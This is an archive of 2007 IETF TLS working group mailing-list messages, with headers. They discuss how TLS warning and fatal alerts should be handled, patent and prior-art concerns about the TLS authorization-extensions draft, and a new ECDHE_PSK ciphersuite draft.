(/) X-Scan-Signature: f607d15ccc2bc4eaf3ade8ffa8af02a0 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Bodo Moeller wrote: > On Thu, Jun 07, 2007 at 08:33:11PM -0700, Nelson B Bolyard wrote: >> Eric Rescorla wrote: >>> wrote: >>>> Eric Rescorla wrote: > >>>>> - Add a warning that some implementations tear down the connection >>>>> for any alert so warning alerts are dangerous. New implementations >>>>> SHOULD not tear down the connection for warning alerts. > >>>> Why not simply "MUST NOT tear down"? (this requirement would apply >>>> only when TLS 1.2 is negotiated, so what some implementations did >>>> with 1.0 or 1.1 doesn't matter) > >>> Works for me. > >> Umm. Some warning alerts exist to give the recipient a choice to tear >> down or not. E.g. no_renegotiation. RFC 2246 says: >> >> no_renegotiation >> Sent by the client in response to a hello request or by the >> server in response to a client hello after initial handshaking. >> Either of these would normally lead to renegotiation; when that >> is not appropriate, the recipient should respond with this alert; >> at that point, the original requester can decide whether to >> proceed with the connection. One case where this would be >> appropriate would be where a server has spawned a process to >> satisfy a request; the process might receive security parameters >> (key length, authentication, etc.) at startup and it might be >> difficult to communicate changes to these parameters after that >> point. This message is always a warning. > > Good point. This means that neither "SHOULD NOT" nor "MUST NOT" works > for everything. However, I think a party should not silently tear > down the connection after receiving a no_renegotiation alert that it > does not like -- instead, it should send a fatal alert first. > > How about the following? > > If an alert with a level of warning is sent and received, generally > the connection can continue normally. If the receiving party > decides not to proceed with the connection (e.g., after having > received a no_renegotiation alert that it is not willing to > accept), it MUST send a fatal alert to terminate the connection. I don't object to that, except that it changes TLS so that SOME fatal errors MUST be accompanied with a Fatal Alert (as opposed to being torn down silently), but others are not required to do so. This begs the question: why should some fatal errors require a fatal alert, but not others? In a previous message in this thread, I asked/proposed: > Why not require that a fatal alert be sent any time that the connection > is going to be torn down due to a protocol error of any kind? I still think that deserves an answer. -- Nelson B _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 01:37:15 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxca7-0005iO-I1; Mon, 11 Jun 2007 01:36:47 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxca5-0005aR-Pw for tls@ietf.org; Mon, 11 Jun 2007 01:36:45 -0400 Received: from moutng.kundenserver.de ([212.227.126.187]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxca4-0002UV-EE for tls@ietf.org; Mon, 11 Jun 2007 01:36:45 -0400 Received: from [80.142.172.183] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu7) with ESMTP (Nemesis), id 0ML2xA-1Hxca0030j-0000it; Mon, 11 Jun 2007 07:36:41 +0200 Received: by tau.invalid (Postfix, from userid 1000) id 88EEE1B596; Mon, 11 Jun 2007 07:36:37 +0200 (CEST) Date: Mon, 11 Jun 2007 07:36:36 +0200 From: Bodo Moeller To: Nelson B Bolyard Subject: Re: [TLS] Issue 16: Alert clarifications Message-ID: <20070611053636.GA20635@tau.invalid> References: <20070603145730.4507B33C4B@delta.rtfm.com> <20070607132918.4459D33C58@delta.rtfm.com> <4668CDF7.9030600@bolyard.com> <20070608083514.GA11066@tau.invalid> <466CB8EF.9080700@bolyard.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <466CB8EF.9080700@bolyard.com> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX1+2fXEzCjFNHW9HsSh0Uflu4pKR9aZq67VSExl zCBY2fJhVpwQHyof9jI9UMPESPr9XZ5Pkc6BwcANSrjBbSV6n+ EeaGYH26eSktjQz49xr2Q== X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Sun, Jun 10, 2007 at 07:52:31PM -0700, Nelson B Bolyard wrote: >> How about the following? >> >> If an alert with a level of warning is sent and received, generally >> the connection can continue normally. If the receiving party >> decides not to proceed with the connection (e.g., after having >> received a no_renegotiation alert that it is not willing to >> accept), it MUST send a fatal alert to terminate the connection. > I don't object to that, except that it changes TLS so that SOME fatal > errors MUST be accompanied with a Fatal Alert (as opposed to being > torn down silently), but others are not required to do so. This begs > the question: why should some fatal errors require a fatal alert, > but not others? > > In a previous message in this thread, I asked/proposed: > >> Why not require that a fatal alert be sent any time that the connection >> is going to be torn down due to a protocol error of any kind? Yes, this makes sense -- anytime a party has to abort the connection because of some protocol error, it should send a fatal alert if possible. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 01:49:16 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxcm8-0002Io-UX; Mon, 11 Jun 2007 01:49:12 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxcm6-0002If-U0 for tls@ietf.org; Mon, 11 Jun 2007 01:49:10 -0400 Received: from moutng.kundenserver.de ([212.227.126.183]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxcm6-0006Yj-HS for tls@ietf.org; Mon, 11 Jun 2007 01:49:10 -0400 Received: from [80.142.172.183] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu5) with ESMTP (Nemesis), id 0ML25U-1Hxcm52K3a-0006KZ; Mon, 11 Jun 2007 07:49:09 +0200 Received: by tau.invalid (Postfix, from userid 1000) id A41441AF5D; Mon, 11 Jun 2007 07:49:08 +0200 (CEST) Date: Mon, 11 Jun 2007 07:49:08 +0200 From: Bodo Moeller To: Martin Rex Subject: Re: [TLS] Issue 16: Alert clarifications Message-ID: <20070611054908.GB20635@tau.invalid> References: <200706102051.l5AKpOvm012071@fs4113.wdf.sap.corp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200706102051.l5AKpOvm012071@fs4113.wdf.sap.corp> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX1/s/s/oWFy2kA2a1+9zm9zefqvv9loF6ITCCt9 x9ooJY+DmKUu6Maz3EBvmTj7EAWcAZ2tBgD2u3kPiR2hrnv3zP tz6gLQA7uNWUtHtnYEdvg== X-Spam-Score: 0.0 (/) X-Scan-Signature: f4c2cf0bccc868e4cc88dace71fb3f44 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Sun, Jun 10, 2007 at 10:51:23PM +0200, Martin Rex wrote: > Pasi.Eronen@nokia.com wrote: >> Eric Rescorla wrote: >>> - Add a warning that some implementations tear down the connection >>> for any alert so warning alerts are dangerous. New implementations >>> SHOULD not tear down the connection for warning alerts. >> Why not simply "MUST NOT tear down"? (this requirement would apply >> only when TLS 1.2 is negotiated, so what some implementations did >> with 1.0 or 1.1 doesn't matter) > I don't undestand what should be new to this. > > A fatal alert has always been "fatal" for the handshake, and > implementations that continued after a fatal alert can be considered > broken. > > A warning alert has never been "fatal", otherwise the distinction > into fatal and warning would be non-sensical. It may have not been > fully spelled out in the spec, but this is a level of implicit common > sense that one should be able to expect from a sensible implementor. I used to think so too. However, RFC 2246 and RFC 4346 both explicity say that if an alert with a level of warning is received, the receiving party MAY decide at its discretion whether to treat this as a fatal error or not. Words like this in a specification override implementor common sense. Sometimes this actually *does* make a bit of sense, e.g. when receiving a certificate-related alert when you know you have to be authenticated for whatever you intend to do with the TLS connection; or if you want to insist on renegotiation. It would make much more sense, though, if the party that intends to close the connection in response to a warning alert is required to send a fatal alert first. Then the warning alert itself does not close the connection, and we have an explicit fatal alert that indicates to the other party that the connection will be closed. This is what my proposal would achieve: If an alert with a level of warning is sent and received, generally the connection can continue normally. If the receiving party decides not to proceed with the connection (e.g., after having received a no_renegotiation alert that it is not willing to accept), it MUST send a fatal alert to terminate the connection. Nelson has suggested spelling out that fatal alerts should be required for all fatal errors, which makes sense too. That is, anytime a party closes the connection because of whatever error, it should send a fatal alert unless it has already sent or received one, or unless it is impossible to send anything. Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 05:02:29 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxfn3-0007Il-HY; Mon, 11 Jun 2007 05:02:21 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxfn1-0007IV-SW; Mon, 11 Jun 2007 05:02:19 -0400 Received: from smtp.nokia.com ([131.228.20.173] helo=mgw-ext14.nokia.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hxfn0-00086G-Eb; Mon, 11 Jun 2007 05:02:19 -0400 Received: from esebh106.NOE.Nokia.com (esebh106.ntc.nokia.com [172.21.138.213]) by mgw-ext14.nokia.com (Switch-3.2.5/Switch-3.2.5) with ESMTP id l5B91tXr010239; Mon, 11 Jun 2007 12:02:12 +0300 Received: from esebh104.NOE.Nokia.com ([172.21.143.34]) by esebh106.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 11 Jun 2007 12:02:11 +0300 Received: from esebe105.NOE.Nokia.com ([172.21.143.53]) by esebh104.NOE.Nokia.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 11 Jun 2007 12:02:11 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Comments on draft-housley-tls-authz-extns-07 Date: Mon, 11 Jun 2007 12:02:10 +0300 Message-ID: In-Reply-To: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Comments on draft-housley-tls-authz-extns-07 Thread-Index: AceqDqhv4KUa9rJOSliEOkY3B9xnUQB9o1QA References: From: To: , X-OriginalArrivalTime: 11 Jun 2007 09:02:11.0377 (UTC) FILETIME=[3267F210:01C7AC07] X-Nokia-AV: Clean X-Spam-Score: 0.2 (/) X-Scan-Signature: b19722fc8d3865b147c75ae2495625f2 Cc: iesg@ietf.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Dean Anderson wrote: > On Wed, 30 May 2007, Sam Hartman wrote: > > Dean, this is an excellent idea. Anyone who wants to including you > > can discuss alternatives to the technology. The availability of > > other ways to do this--particularly when combined with information > > about whether people are willing to do the necessary work to write > > up and implement these alternatives--would be great input to the > > IESG. I'd appreciate anything you can do in this regard. >=20 > To what working group should I take this work to? Not TLS, it=20 > hasn't agreed (has affirmatively refused) to take on this work. Dean: as you well know, most WG documents start as individual Internet-Drafts. This way, the WG has something concrete to read=20 when considering whether to take on the work as WG item or not. Currently, no such draft exists. If, however, someone would write=20 such a draft, and ask the TLS WG to consider adopting it as WG=20 item, we would certainly consider it. Or yet in other words:=20 there certainly is *NO* blanket decision to refuse all work in this area. > No working group will consider conducting this work. Let's not forget that *all* work in IETF is done by people, not working groups. If nobody cares about this topic enough to=20 actually write a document and drive it forward, the question=20 of whether it should be WG item or not doesn't really apply. Best regards, Pasi _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 05:40:13 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxgNa-0003VT-V3; Mon, 11 Jun 2007 05:40:06 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxgNZ-0003RZ-Ld for tls@ietf.org; Mon, 11 Jun 2007 05:40:05 -0400 Received: from sp.isima.fr ([193.55.95.1]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxgMR-0002sK-3B for tls@ietf.org; Mon, 11 Jun 2007 05:38:56 -0400 Received: from [127.0.0.1] (pc158.isima.fr [193.55.95.158]) by sp.isima.fr (8.9.3/jtpda-5.3.1) with ESMTP id LAA741582 for ; Mon, 11 Jun 2007 11:37:06 +0100 Message-ID: <466D181A.9010205@isima.fr> Date: Mon, 11 Jun 2007 11:38:34 +0200 From: Mohamad Badra User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: tls mailing list Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f Cc: Subject: [TLS] Fwd: I-D ACTION:draft-badra-ecdhe-tls-psk-00.txt X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Dear all, Your comments on the following document are very welcome.. Best regards, Badra > ---------- Forwarded message ---------- > From: *Internet-Drafts@ietf.org* > Date: Jun 8, 2007 9:50 PM > Subject: I-D ACTION:draft-badra-ecdhe-tls-psk-00.txt > To: i-d-announce@ietf.org > > A New Internet-Draft is available from the on-line Internet-Drafts > directories. > > > Title : ECDHE_PSK Ciphersuites for TLS > Author(s) : M. Badra > Filename : draft-badra-ecdhe-tls-psk-00.txt > Pages : 5 > Date : 2007-6-8 > > This document updates RFC 4785 and RFC 4279 and specifies a set of > ciphersuites that use an Elliptic Curve Diffie-Hellman exchange > authenticated with a pre-shared key. These ciphersuites provides > Perfect Forward Secrecy. It specifies as well one authentication- > only ciphersuites (with no encryption). This ciphersuite is useful > when authentication and integrity protection is desired, but > confidentiality is not needed or not permitted. > > The reader is expected to become familiar with RFC 4785 and RFC 4279 > prior to studying this document. > > A URL for this Internet-Draft is: > http://www.ietf.org/internet-drafts/draft-badra-ecdhe-tls-psk-00.txt _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 05:46:03 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxgTI-0001Bl-Vi; Mon, 11 Jun 2007 05:46:00 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxgTH-0001BU-Cr; Mon, 11 Jun 2007 05:45:59 -0400 Received: from vinyl.extundo.com ([83.241.192.59]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxgTG-0004ie-Vu; Mon, 11 Jun 2007 05:45:59 -0400 Received: from mocca.josefsson.org (yxa.extundo.com [83.241.177.38]) (authenticated bits=0) by vinyl.extundo.com (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l5B9jg8Y031859 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 11 Jun 2007 11:45:44 +0200 X-Hashcash: 1:22:070611:free-ietf-review@josefsson.org::/6LsheRna+uWYmDQ:0eo3L From: Simon Josefsson To: References: OpenPGP: id=B565716F; url=http://josefsson.org/key.txt X-Hashcash: 1:22:070611:dean@av8.com::wbR+u20JbVnWk4dA:4kLM X-Hashcash: 1:22:070611:pasi.eronen@nokia.com::TWFARskqrEzOKQ2l:2Ofh X-Hashcash: 1:22:070611:tls@ietf.org::Lzt80ItFsPqGjErm:FUHV X-Hashcash: 1:22:070611:hartmans-ietf@mit.edu::Uvud6M2I1xeK2j70:FLPl X-Hashcash: 1:22:070611:iesg@ietf.org::QWCgVAgZQxqTICiK:uRNO Date: Mon, 11 Jun 2007 11:45:42 +0200 In-Reply-To: (Pasi Eronen's message of "Mon, 11 Jun 2007 12:02:10 +0300") Message-ID: <87vedu25a1.fsf@mocca.josefsson.org> User-Agent: Gnus/5.110007 (No Gnus v0.7) Emacs/22.0.95 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Cc: hartmans-ietf@mit.edu, iesg@ietf.org, free-ietf-review@josefsson.org, tls@ietf.org Subject: [TLS] Re: Comments on draft-housley-tls-authz-extns-07 X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org writes: > Dean Anderson wrote: > >> On Wed, 30 May 2007, Sam Hartman wrote: >> > Dean, this is an excellent idea. Anyone who wants to including you >> > can discuss alternatives to the technology. The availability of >> > other ways to do this--particularly when combined with information >> > about whether people are willing to do the necessary work to write >> > up and implement these alternatives--would be great input to the >> > IESG. I'd appreciate anything you can do in this regard. >> >> To what working group should I take this work to? Not TLS, it >> hasn't agreed (has affirmatively refused) to take on this work. > > Dean: as you well know, most WG documents start as individual > Internet-Drafts. This way, the WG has something concrete to read > when considering whether to take on the work as WG item or not. > > Currently, no such draft exists. If, however, someone would write > such a draft, and ask the TLS WG to consider adopting it as WG > item, we would certainly consider it. Or yet in other words: > there certainly is *NO* blanket decision to refuse all work > in this area. The problem is, as far as I can tell, that the patent covers the general idea of (some aspects) of authorization with X.509 Attribute Certificates over the TLS protocol. Thus, any draft that transfer X.509 Attribute Certificates over TLS will have the same concern with regards to this particular patent. Finding a way to route around the patent seems challenging, but given the current license terms, it may still be the simplest solution. Finding prior art for widely useful scenarios should be easy. One solution would be to write a draft that specify a similar protocol, and document several use-cases with references to prior art. If someone knows of prior art where X.509 Attribute Certificates and/or SAML assertions are sent over TLS (possibly in the handshake, but that doesn't seem critical), that would be very useful information. /Simon _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 06:54:40 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxhXh-0003vD-D4; Mon, 11 Jun 2007 06:54:37 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxhXg-0003v8-Dv for tls@ietf.org; Mon, 11 Jun 2007 06:54:36 -0400 Received: from sp.isima.fr ([193.55.95.1]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxhXf-0008Ik-0v for tls@ietf.org; Mon, 11 Jun 2007 06:54:36 -0400 Received: from [127.0.0.1] (pc158.isima.fr [193.55.95.158]) by sp.isima.fr (8.9.3/jtpda-5.3.1) with ESMTP id MAA1183970 ; Mon, 11 Jun 2007 12:52:37 +0100 Message-ID: <466D29CD.2050004@isima.fr> Date: Mon, 11 Jun 2007 12:54:05 +0200 From: Mohamad Badra User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 Subject: [TLS] Re: Comments on draft-housley-tls-authz-extns-07 References: <87vedu25a1.fsf@mocca.josefsson.org> <466D2929.7040705@enst.fr> In-Reply-To: <466D2929.7040705@enst.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by sp.isima.fr id MAA1183970 X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Cc: Simon Josefsson , tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Simon Josefsson a =E9crit : > If someone knows of prior art where X.509 Attribute Certificates and/or > =20 > SAML assertions are sent over TLS (possibly in the handshake, but that > =20 > doesn't seem critical), that would be very useful information. > =20 > /Simon > =20 > =20 > =20 Hi Simon,=20 You could probably find some prior art -was a TLS WG item- (published by = Stephen Farrell, 1998) at http://tools.ietf.org/html/draft-ietf-tls-attr-= cert-00 and http://tools.ietf.org/html/draft-ietf-tls-attr-cert-01 The minor difference is that by 1988, the TLS Extensions wasn't published= yet. Best regards, Badra _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 13:38:42 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxnqa-00077E-Bq; Mon, 11 Jun 2007 13:38:32 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HxnqY-00076p-J8; Mon, 11 Jun 2007 13:38:30 -0400 Received: from m823a36d0.tmodns.net ([208.54.58.130] helo=carter-zimmerman.suchdamage.org) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxnqN-0005d8-1b; Mon, 11 Jun 2007 13:38:30 -0400 Received: by carter-zimmerman.suchdamage.org (Postfix, from userid 8042) id 6239249B2; Mon, 11 Jun 2007 13:38:14 -0400 (EDT) From: Sam Hartman To: Dean Anderson Subject: Re: [TLS] Comments on draft-housley-tls-authz-extns-07 In-Reply-To: (Dean Anderson's message of "Fri, 8 Jun 2007 16:50:23 -0400 (EDT)") Date: Sun, 10 Jun 2007 21:30:19 -0400 Message-ID: References: User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Scan-Signature: 386e0819b1192672467565a524848168 Cc: iesg@ietf.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org >>>>> "Dean" == Dean Anderson writes: Dean> On Wed, 30 May 2007, Sam Hartman wrote: >> >>>>> "Dean" == Dean Anderson writes: >> Dean> I believe the IETF announced that it would be sending this Dean> draft back to the 'starting gate'. To me, that means that Dean> TLS has to do several things: >> Dean, Eric has corrected your statements about where this >> draft is in the process. Dean> Yes. I have to say, I'm not too happy about that, and am Dean> feeling misled yet again. I expected more effort than just Dean> posting an email requesting comment to the TLS working Dean> group. I understood the TLS working group was going to do Dean> some work on the draft to find out if the patented standard Dean> is actually worth the trouble, and __approve__ or __reject__ Dean> the draft independently of the IESG. What is actually Dean> happening is less even than a rubber-stamp. (a rubber stamp Dean> is -some- approval) It would be great if members of the TLS working group would do the work of determining "whether the patented standard is worth the trouble." I cannot force them to do the work. I can consider how much work gets done when I evaluate the comments tomorrow. Dean> It seems your rubber-stamp process does not permit enough Dean> time to come up with an alternative, nor is there any Dean> working group to work on doing so. I'd certainly take comments from specific parties claiming to be dedicating effort to developing or exploring alternatives very seriously. I.E. I'm not going to take a claim that "someone should explore alternatives" all that seriously. I would take a claim that "Alice, Bob and two of their friends are working on exploring alternatives and request a month to do so," as very interesting. I'd take a claim that "Alice and bob are working on writing up the following alternative; they should be done with a 00 draft within x months after Chicago" as even more interesting input. Dean> 1) Consider non-patented alternatives in accordance with Dean> RFC2418 and RFC3979. >> Dean, this is an excellent idea. Anyone who wants to including >> you can discuss alternatives to the technology. The >> availability of other ways to do this--particularly when >> combined with information about whether people are willing to >> do the necessary work to write up and implement these >> alternatives--would be great input to the IESG. I'd appreciate >> anything you can do in this regard. Dean> To what working group should I take this work to? Not TLS, Dean> it hasn't agreed (has affirmatively refused) to take on this Dean> work. The tls mailing list is a fine place to have the initial discussion. If you get to a draft and the TLS working group declines the draft, then we could follow the standard procedure for bringing new work to the IESG. You'd presumably ask me to sponsor your draft as an individual submission. I might decide that a BOF was more appropriate, or I might try and pressure the TLS working group into accepting the work. At this stage though getting a concrete proposal on the table is the clear first step. >> so if you want to propose an alternative, you should do so. If >> you know others who want to propose an alternative you should >> encourage them. Dean> Yes, I do. Where should I tell them to go? This subject is Dean> off-topic for TLS after the chair refuses to take up the Dean> subject. You can't have it both ways; unless you _want_ a Dean> whitewash. The tls list. Dean> You've officially asked for comments, but this group refuses Dean> to do any work on the matter. A convenient conundrum; A Dean> catch-22. And when no work gets done, you "don't have to Dean> wait around before re-approving". That is a charade; A Dean> sham; A debacle. >> That's why we are soliciting comments. The ietf list >> discussion was in the minds of some inconclusive. Dean> Actually, I think it was ended in the premise that the TLS Dean> working group would work on the document, and there is Dean> nothing to discuss until that is done. That is not my understanding. Thanks for your input, --Sam _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 11 16:41:30 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxqhc-00072m-MB; Mon, 11 Jun 2007 16:41:28 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hxqha-00071r-0l for tls@ietf.org; Mon, 11 Jun 2007 16:41:26 -0400 Received: from smtpde03.sap-ag.de ([155.56.68.140]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HxqhY-0006hR-Iy for tls@ietf.org; Mon, 11 Jun 2007 16:41:26 -0400 Received: from sap-ag.de (smtpde03) by smtpde03.sap-ag.de (out) with ESMTP id WAA17982; Mon, 11 Jun 2007 22:41:17 +0200 (MESZ) From: Martin Rex Message-Id: <200706112041.l5BKfH0u026040@fs4113.wdf.sap.corp> Subject: Re: [TLS] Issue 16: Alert clarifications To: bmoeller@acm.org (Bodo Moeller) Date: Mon, 11 Jun 2007 22:41:17 +0200 (MEST) In-Reply-To: <20070611054908.GB20635@tau.invalid> from "Bodo Moeller" at Jun 11, 7 07:49:08 am MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: 10ba05e7e8a9aa6adb025f426bef3a30 Cc: Martin.Rex@sap.com, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Bodo Moeller wrote: > > >> Why not simply "MUST NOT tear down"? (this requirement would apply > >> only when TLS 1.2 is negotiated, so what some implementations did > >> with 1.0 or 1.1 doesn't matter) > > > I don't undestand what should be new to this. > > I used to think so too. However, RFC 2246 and RFC 4346 both explicity > say that > > if an alert with a level of warning is received, the > receiving party MAY decide at its discretion whether to treat this as > a fatal error or not. I don't see how this changes anything. A Server that receives a no_certificate alert instead of a requested client SSL cert may treat this as a fatal error as well. But that's a determination made by the server, and such a determination is *NOT* covered by the peer's alert message (the peer should be waiting for continuation of the communication/handshake). > > Sometimes this actually *does* make a bit of sense, e.g. when > receiving a certificate-related alert when you know you have to be > authenticated for whatever you intend to do with the TLS connection; > or if you want to insist on renegotiation. It would make much more > sense, though, if the party that intends to close the connection in > response to a warning alert is required to send a fatal alert first. This is how I understood the idea behind the seperate warning and fatal alerts. > Then the warning alert itself does not close the connection, and we > have an explicit fatal alert that indicates to the other party that > the connection will be closed. There is one particular warning alert that terminates the currently active SSL session (and usually, but not necessarily the connection): the SSL close notify alert. Reusing a (tcp) communication channel after an SSL close notify alert is a littly tricky (making sure that there are no close notify alerts left in the channel), but it is possible--at least if you know exactly what the SSL implementations on both sides are doing and that they offer a call that removes the (probably encrypted) close-notify alerts properly. > > This is what my proposal would achieve: > > If an alert with a level of warning is sent and received, generally > the connection can continue normally. If the receiving party > decides not to proceed with the connection (e.g., after having > received a no_renegotiation alert that it is not willing to > accept), it MUST send a fatal alert to terminate the connection. > > Nelson has suggested spelling out that fatal alerts should be required > for all fatal errors, which makes sense too. That is, anytime a > party closes the connection because of whatever error, it should send > a fatal alert unless it has already sent or received one, or unless > it is impossible to send anything. The description of Error (alerts) in SSLv3 (Nov.96) says this: 5.4.2 Error alerts Error handling in the SSL Handshake protocol is very simple. When an error is detected, the detecting party sends a message to the other party. Upon transmission or receipt of an fatal alert message, both parties immediately close the connection. Servers and clients are required to forget any session-identifiers, keys, and secrets associated with a failed connection. The following error alerts are defined: A no_certificate alert sent by an SSL/TLS client is not an error, it is a protocol option 